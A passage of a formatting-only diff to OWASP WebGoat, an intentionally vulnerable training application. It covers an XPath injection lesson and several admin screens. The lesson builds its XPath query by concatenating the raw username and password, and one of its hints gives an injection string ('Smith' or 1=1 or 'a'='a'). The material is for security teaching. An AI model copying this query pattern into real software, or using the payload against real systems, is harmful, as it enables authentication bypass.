"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
@ -89,28 +86,21 @@ public class XPATHInjection extends LessonAdapter
try try
{ {
ec.addElement(new BR().addElement(new H1() ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat employee intranet")));
.addElement("Welcome to WebGoat employee intranet")));
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0) Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
.setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr tr.addElement(new TH().addElement("Please confirm your username and password before viewing your profile.")
.addElement(new TH()
.addElement(
"Please confirm your username and password before viewing your profile.")
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth( tr.addElement(new TD().addElement("*Required Fields").setWidth("30%").setColSpan(2).setAlign("left"));
"30%").setColSpan(2).setAlign("left"));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp").setWidth("30%") tr.addElement(new TD().addElement("&nbsp").setWidth("30%").setColSpan(2).setAlign("left"));
.setColSpan(2).setAlign("left"));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
@ -134,36 +124,31 @@ public class XPATHInjection extends LessonAdapter
String username = s.getParser().getRawParameter(USERNAME, ""); String username = s.getParser().getRawParameter(USERNAME, "");
if (username == null || username.length() == 0) if (username == null || username.length() == 0)
{ {
ec.addElement(new P().addElement(new StringElement( ec.addElement(new P().addElement(new StringElement("Username is a required field")));
"Username is a required field")));
return ec; return ec;
} }
String password = s.getParser().getRawParameter(PASSWORD, ""); String password = s.getParser().getRawParameter(PASSWORD, "");
if (password == null || password.length() == 0) if (password == null || password.length() == 0)
{ {
ec.addElement(new P().addElement(new StringElement( ec.addElement(new P().addElement(new StringElement("Password is a required field")));
"Password is a required field")));
return ec; return ec;
} }
String dir = s.getContext().getRealPath( String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
"/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir); File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance(); XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath(); XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d)); InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password
+ username + "' and passwd/text()='" + password + "']"; + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
XPathConstants.NODESET);
int nodesLength = nodes.getLength(); int nodesLength = nodes.getLength();
Table t2 = null; Table t2 = null;
if (nodesLength > 0) if (nodesLength > 0)
{ {
t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder( t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("90%").setAlign("center");
1).setWidth("90%").setAlign("center");
tr = new TR(); tr = new TR();
tr.setBgColor(HtmlColor.GRAY); tr.setBgColor(HtmlColor.GRAY);
tr.addElement(new TD().addElement("Username")); tr.addElement(new TD().addElement("Username"));
@ -175,8 +160,7 @@ public class XPATHInjection extends LessonAdapter
for (int i = 0; i < nodesLength; i++) for (int i = 0; i < nodesLength; i++)
{ {
Node node = nodes.item(i); Node node = nodes.item(i);
String[] arrTokens = node.getTextContent() String[] arrTokens = node.getTextContent().split("[\\t\\s\\n]+");
.split("[\\t\\s\\n]+");
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(arrTokens[1])); tr.addElement(new TD().addElement(arrTokens[1]));
@ -195,18 +179,15 @@ public class XPATHInjection extends LessonAdapter
ec.addElement(t2); ec.addElement(t2);
} }
} } catch (IOException e)
catch (IOException e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} } catch (IllegalArgumentException e)
catch (IllegalArgumentException e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} } catch (XPathExpressionException e)
catch (XPathExpressionException e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -214,48 +195,40 @@ public class XPATHInjection extends LessonAdapter
return ec; return ec;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
protected boolean getDefaultHidden() protected boolean getDefaultHidden()
{ {
// TODO Auto-generated method stub // TODO Auto-generated method stub
return false; return false;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
// TODO Auto-generated method stub // TODO Auto-generated method stub
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Remember that the data is stored in XML format."); hints.add("Remember that the data is stored in XML format.");
hints.add("The system is using XPath to query."); hints.add("The system is using XPath to query.");
hints hints.add("XPath is almost the same thing as SQL, the same hacking techniques apply too.");
.add("XPath is almost the same thing as SQL, the same hacking techniques apply too."); hints.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything ");
hints
.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything ");
return hints; return hints;
} }
public String getTitle() public String getTitle()
{ {

56
main/project/JavaSource/org/owasp/webgoat/lessons/admin/AdminScreen.java
View File

@ -1,35 +1,35 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Screen; import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -44,12 +44,13 @@ public abstract class AdminScreen extends Screen
*/ */
protected String query = null; protected String query = null;
/** /**
* Constructor for the AdminScreen object * Constructor for the AdminScreen object
* *
* @param s Description of the Parameter * @param s
* @param q Description of the Parameter * Description of the Parameter
* @param q
* Description of the Parameter
*/ */
public AdminScreen(WebSession s, String q) public AdminScreen(WebSession s, String q)
{ {
@ -58,22 +59,22 @@ public abstract class AdminScreen extends Screen
// setupAdmin(s); FIXME: what was this supposed to do? // setupAdmin(s); FIXME: what was this supposed to do?
} }
/** /**
* Constructor for the AdminScreen object * Constructor for the AdminScreen object
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
*/ */
public AdminScreen(WebSession s) public AdminScreen(WebSession s)
{} {
}
/** /**
* Constructor for the AdminScreen object * Constructor for the AdminScreen object
*/ */
public AdminScreen() public AdminScreen()
{} {
}
/** /**
* Gets the title attribute of the AdminScreen object * Gets the title attribute of the AdminScreen object
@ -85,17 +86,16 @@ public abstract class AdminScreen extends Screen
return ("Admin Information"); return ("Admin Information");
} }
public String getRole() public String getRole()
{ {
return AbstractLesson.ADMIN_ROLE; return AbstractLesson.ADMIN_ROLE;
} }
/** /**
* Sets the query attribute of the AdminScreen object * Sets the query attribute of the AdminScreen object
* *
* @param q The new query value * @param q
* The new query value
*/ */
public void setQuery(String q) public void setQuery(String q)
{ {

49
main/project/JavaSource/org/owasp/webgoat/lessons/admin/ProductsAdminScreen.java
View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.sql.Connection; import java.sql.Connection;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.ResultSetMetaData; import java.sql.ResultSetMetaData;
import java.sql.Statement; import java.sql.Statement;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
@ -12,32 +12,31 @@ import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -52,7 +51,8 @@ public class ProductsAdminScreen extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -63,8 +63,7 @@ public class ProductsAdminScreen extends LessonAdapter
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(QUERY); ResultSet results = statement.executeQuery(QUERY);
@ -72,11 +71,9 @@ public class ProductsAdminScreen extends LessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -85,7 +82,6 @@ public class ProductsAdminScreen extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the ProductsAdminScreen object * Gets the category attribute of the ProductsAdminScreen object
* *
@ -96,7 +92,6 @@ public class ProductsAdminScreen extends LessonAdapter
return Category.ADMIN_FUNCTIONS; return Category.ADMIN_FUNCTIONS;
} }
/** /**
* Gets the role attribute of the ProductsAdminScreen object * Gets the role attribute of the ProductsAdminScreen object
* *
@ -107,7 +102,6 @@ public class ProductsAdminScreen extends LessonAdapter
return HACKED_ADMIN_ROLE; return HACKED_ADMIN_ROLE;
} }
/** /**
* Gets the title attribute of the ProductsAdminScreen object * Gets the title attribute of the ProductsAdminScreen object
* *
@ -120,7 +114,6 @@ public class ProductsAdminScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;

59
main/project/JavaSource/org/owasp/webgoat/lessons/admin/RefreshDBScreen.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.sql.Connection; import java.sql.Connection;
import org.owasp.webgoat.lessons.*; import org.owasp.webgoat.lessons.*;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -12,32 +12,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -52,7 +51,8 @@ public class RefreshDBScreen extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -66,8 +66,7 @@ public class RefreshDBScreen extends LessonAdapter
if (refresh) if (refresh)
{ {
refreshDB(s); refreshDB(s);
ec.addElement(new StringElement( ec.addElement(new StringElement("Successfully refreshed the database."));
"Successfully refreshed the database."));
} }
else else
{ {
@ -77,8 +76,7 @@ public class RefreshDBScreen extends LessonAdapter
TD td1 = new TD().addElement(label); TD td1 = new TD().addElement(label);
TD td2 = new TD().addElement(link1); TD td2 = new TD().addElement(link1);
TD td3 = new TD().addElement(link2); TD td3 = new TD().addElement(link2);
TR row = new TR().addElement(td1).addElement(td2).addElement( TR row = new TR().addElement(td1).addElement(td2).addElement(td3);
td3);
Table t = new Table().setCellSpacing(40).setWidth("50%"); Table t = new Table().setCellSpacing(40).setWidth("50%");
if (s.isColor()) if (s.isColor())
@ -89,8 +87,7 @@ public class RefreshDBScreen extends LessonAdapter
t.addElement(row); t.addElement(row);
ec.addElement(t); ec.addElement(t);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -99,7 +96,6 @@ public class RefreshDBScreen extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the RefreshDBScreen object * Gets the category attribute of the RefreshDBScreen object
* *
@ -112,13 +108,11 @@ public class RefreshDBScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the role attribute of the RefreshDBScreen object * Gets the role attribute of the RefreshDBScreen object
* *
@ -129,7 +123,6 @@ public class RefreshDBScreen extends LessonAdapter
return ADMIN_ROLE; return ADMIN_ROLE;
} }
/** /**
* Gets the title attribute of the RefreshDBScreen object * Gets the title attribute of the RefreshDBScreen object
* *
@ -140,11 +133,11 @@ public class RefreshDBScreen extends LessonAdapter
return ("Refresh Database"); return ("Refresh Database");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
*/ */
public void refreshDB(WebSession s) public void refreshDB(WebSession s)
{ {
@ -155,11 +148,9 @@ public class RefreshDBScreen extends LessonAdapter
CreateDB db = new CreateDB(); CreateDB db = new CreateDB();
db.makeDB(connection); db.makeDB(connection);
System.out.println("Successfully refreshed the database."); System.out.println("Successfully refreshed the database.");
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error refreshing database " s.setMessage("Error refreshing database " + this.getClass().getName());
+ this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
} }

132
main/project/JavaSource/org/owasp/webgoat/lessons/admin/ReportCardScreen.java
View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.util.Iterator; import java.util.Iterator;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor; import org.apache.ecs.HtmlColor;
@ -20,32 +20,31 @@ import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker; import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -60,11 +59,11 @@ public class ReportCardScreen extends LessonAdapter
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -83,9 +82,9 @@ public class ReportCardScreen extends LessonAdapter
{ {
user = s.getUserName(); user = s.getUserName();
} }
} catch (Exception e)
{
} }
catch (Exception e)
{}
if (user == null) if (user == null)
{ {
@ -98,18 +97,15 @@ public class ReportCardScreen extends LessonAdapter
return ec; return ec;
} }
private Element makeFeedback(WebSession s) private Element makeFeedback(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new Center(new StringElement( ec.addElement(new Center(new StringElement("Comments and suggestions are welcome. "
"Comments and suggestions are welcome. "
+ getWebgoatContext().getFeedbackAddress()))); + getWebgoatContext().getFeedbackAddress())));
return ec; return ec;
} }
/** /**
* Gets the category attribute of the UserAdminScreen object * Gets the category attribute of the UserAdminScreen object
* *
@ -122,13 +118,11 @@ public class ReportCardScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the role attribute of the UserAdminScreen object * Gets the role attribute of the UserAdminScreen object
* *
@ -139,7 +133,6 @@ public class ReportCardScreen extends LessonAdapter
return USER_ROLE; return USER_ROLE;
} }
/** /**
* Gets the title attribute of the UserAdminScreen object * Gets the title attribute of the UserAdminScreen object
* *
@ -150,19 +143,20 @@ public class ReportCardScreen extends LessonAdapter
return ("Report Card"); return ("Report Card");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param screen Description of the Parameter * @param screen
* @param s Description of the Parameter * Description of the Parameter
* @param user Description of the Parameter * @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private TR makeLessonRow(WebSession s, String user, Screen screen) private TR makeLessonRow(WebSession s, String user, Screen screen)
{ {
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker( LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
s, user, screen);
TR tr = new TR(); TR tr = new TR();
if (lessonTracker.getCompleted()) if (lessonTracker.getCompleted())
{ {
@ -172,8 +166,7 @@ public class ReportCardScreen extends LessonAdapter
{ {
tr.setBgColor(HtmlColor.LIGHTBLUE); tr.setBgColor(HtmlColor.LIGHTBLUE);
} }
else if (!lessonTracker.getCompleted() else if (!lessonTracker.getCompleted() && lessonTracker.getNumVisits() > 10)
&& lessonTracker.getNumVisits() > 10)
{ {
tr.setBgColor(HtmlColor.RED); tr.setBgColor(HtmlColor.RED);
} }
@ -182,30 +175,22 @@ public class ReportCardScreen extends LessonAdapter
tr.setBgColor(HtmlColor.YELLOW); tr.setBgColor(HtmlColor.YELLOW);
} }
tr.addElement(new TD().addElement(screen.getTitle())); tr.addElement(new TD().addElement(screen.getTitle()));
tr.addElement(new TD().setAlign("CENTER").addElement( tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getCompleted() ? "Y" : "N"));
lessonTracker.getCompleted() ? "Y" : "N")); tr.addElement(new TD().setAlign("CENTER").addElement(Integer.toString(lessonTracker.getNumVisits())));
tr.addElement(new TD().setAlign("CENTER").addElement( tr.addElement(new TD().setAlign("CENTER").addElement(Integer.toString(lessonTracker.getMaxHintLevel())));
Integer.toString(lessonTracker.getNumVisits()))); tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedCookies() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement( tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedHtml() ? "Y" : "N"));
Integer.toString(lessonTracker.getMaxHintLevel()))); tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedLessonPlan() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement( tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedParameters() ? "Y" : "N"));
lessonTracker.getViewedCookies() ? "Y" : "N")); tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedSource() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedHtml() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedLessonPlan() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedParameters() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedSource() ? "Y" : "N"));
return tr; return tr;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeMessages(WebSession s) protected Element makeMessages(WebSession s)
@ -215,12 +200,13 @@ public class ReportCardScreen extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @param user Description of the Parameter * Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public Element makeReportCard(WebSession s, String user) public Element makeReportCard(WebSession s, String user)
@ -239,11 +225,10 @@ public class ReportCardScreen extends LessonAdapter
// These are all the user lesson // These are all the user lesson
tr = new TR(); tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement( tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Normal user lessons"));
"Normal user lessons"));
t.addElement(tr); t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s, for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.USER_ROLE).iterator(); lessonIter
AbstractLesson.USER_ROLE).iterator(); lessonIter.hasNext();) .hasNext();)
{ {
Screen screen = (Screen) lessonIter.next(); Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen)); t.addElement(makeLessonRow(s, user, screen));
@ -251,11 +236,9 @@ public class ReportCardScreen extends LessonAdapter
// The user figured out there was a hackable admin acocunt // The user figured out there was a hackable admin acocunt
tr = new TR(); tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement( tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Hackable Admin Screens"));
"Hackable Admin Screens"));
t.addElement(tr); t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s, for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();) .hasNext();)
{ {
Screen screen = (Screen) lessonIter.next(); Screen screen = (Screen) lessonIter.next();
@ -264,11 +247,10 @@ public class ReportCardScreen extends LessonAdapter
// The user figured out how to actually hack the admin acocunt // The user figured out how to actually hack the admin acocunt
tr = new TR(); tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement( tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Actual Admin Screens"));
"Actual Admin Screens"));
t.addElement(tr); t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s, for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.ADMIN_ROLE).iterator(); lessonIter
AbstractLesson.ADMIN_ROLE).iterator(); lessonIter.hasNext();) .hasNext();)
{ {
Screen screen = (Screen) lessonIter.next(); Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen)); t.addElement(makeLessonRow(s, user, screen));
@ -278,25 +260,27 @@ public class ReportCardScreen extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @param user Description of the Parameter * Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
